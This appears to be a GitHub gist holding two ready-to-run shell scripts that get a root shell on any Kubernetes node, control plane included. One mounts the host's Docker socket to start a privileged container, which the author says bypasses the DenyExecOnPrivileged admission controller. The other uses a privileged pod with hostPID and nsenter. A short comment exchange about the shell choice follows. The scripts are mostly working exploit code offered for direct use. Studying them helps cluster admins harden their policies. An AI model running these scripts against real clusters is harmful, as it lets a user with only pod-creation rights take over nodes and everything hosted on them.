Skip to content

Instantly share code, notes, and snippets.

@jjo
Last active February 5, 2024 23:07
Show Gist options
  • Star 36 You must be signed in to star a gist
  • Fork 10 You must be signed in to fork a gist
  • Save jjo/a8243c677f7e79f2f1d610f02365fdd7 to your computer and use it in GitHub Desktop.
Save jjo/a8243c677f7e79f2f1d610f02365fdd7 to your computer and use it in GitHub Desktop.
Yeah. Get a root shell at any Kubernetes *node* via `privileged: true` + `nsenter` sauce. PodSecurityPolicy will save us. DenyExecOnPrivileged didn't (kubectl-root-in-host-nopriv.sh exploits it)
#!/bin/sh
# Launch a Pod ab-using a hostPath mount to land on a Kubernetes node cluster as root
# without requiring `privileged: true`, in particular can abuse `DenyExecOnPrivileged`
# admission controller.
# Pod command in turn runs a privileged container using node's /var/run/docker.sock.
node=${1}
case "${node}" in
"")
nodeSelector=''
podName=${USER+${USER}-}docker-any
;;
--master)
shift
nodeSelector='"nodeSelector": { "node-role.kubernetes.io/controlplane": "true"},'
podName=${USER+${USER}-}docker-master
;;
--worker)
shift
nodeSelector='"nodeSelector": { "node-role.kubernetes.io/worker": "true"},'
podName=${USER+${USER}-}docker-worker
;;
*)
shift
nodeName=$(kubectl get node ${node} ${@} -o template --template='{{index .metadata.labels "kubernetes.io/hostname"}}') || exit 1
nodeSelector='"nodeSelector": { "kubernetes.io/hostname": "'${nodeName:?}'" },'
podName=${USER+${USER}-}docker-${node}
;;
esac
set -x
kubectl run ${podName:?} --restart=Never -it \
--image overriden --overrides '
{
"spec": {
'"${nodeSelector?}"'
"tolerations": [
{ "effect": "NoSchedule", "operator": "Exists" },
{ "effect": "NoExecute", "operator": "Exists" }
],
"containers": [
{
"name": "docker",
"image": "docker:latest",
"command": [
"docker", "run", "-it",
"--privileged", "--pid=host", "--net=host", "docker",
"sh", "-c",
"nsenter --mount=/proc/1/ns/mnt -- su -"
],
"stdin": true,
"tty": true,
"resources": {"requests": {"cpu": "10m"}},
"volumeMounts": [
{"name": "run", "mountPath": "/var/run"}
]
}
],
"volumes": [
{"name": "run", "hostPath": {"path": "/var/run"}}
]
}
}' --rm --attach "$@"
#!/bin/sh
# Launch a Pod ab-using a privileged=true to land on a Kubernetes node cluster as root,
# uses `privileged: true` to then nsenter init mount its (root) namespace,
# hostPID and hostNetwork already set for the Pod.
node=${1}
case "${node}" in
"")
nodeSelector=''
podName=${USER+${USER}-}sudo-any
;;
--master)
shift
nodeSelector='"nodeSelector": { "node-role.kubernetes.io/controlplane": "true"},'
podName=${USER+${USER}-}sudo-master
;;
--worker)
shift
nodeSelector='"nodeSelector": { "node-role.kubernetes.io/worker": "true"},'
podName=${USER+${USER}-}sudo-worker
;;
*)
shift
nodeName=$(kubectl get node ${node} ${@} -o template --template='{{index .metadata.labels "kubernetes.io/hostname"}}') || exit 1
nodeSelector='"nodeSelector": { "kubernetes.io/hostname": "'${nodeName:?}'" },'
podName=${USER+${USER}-}sudo-${node}
;;
esac
set -x
kubectl run ${podName:?} --restart=Never -it \
--image overriden --overrides '
{
"spec": {
"hostPID": true,
"hostNetwork": true,
'"${nodeSelector?}"'
"tolerations": [
{ "effect": "NoSchedule", "operator": "Exists" },
{ "effect": "NoExecute", "operator": "Exists" }
],
"containers": [
{
"name": "alpine",
"image": "alpine:3.7",
"command": [
"nsenter", "--mount=/proc/1/ns/mnt", "--", "su", "-"
],
"stdin": true,
"tty": true,
"resources": {"requests": {"cpu": "10m"}},
"securityContext": {
"privileged": true
}
}
]
}
}' --rm --attach "$@"
@nexus166
Copy link

/bin/bash will only work in debian-based hosts..

@jjo
Copy link
Author

jjo commented Jul 17, 2019

/bin/bash will only work in debian-based hosts..

Thanks for the feedback, replaced by su -

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment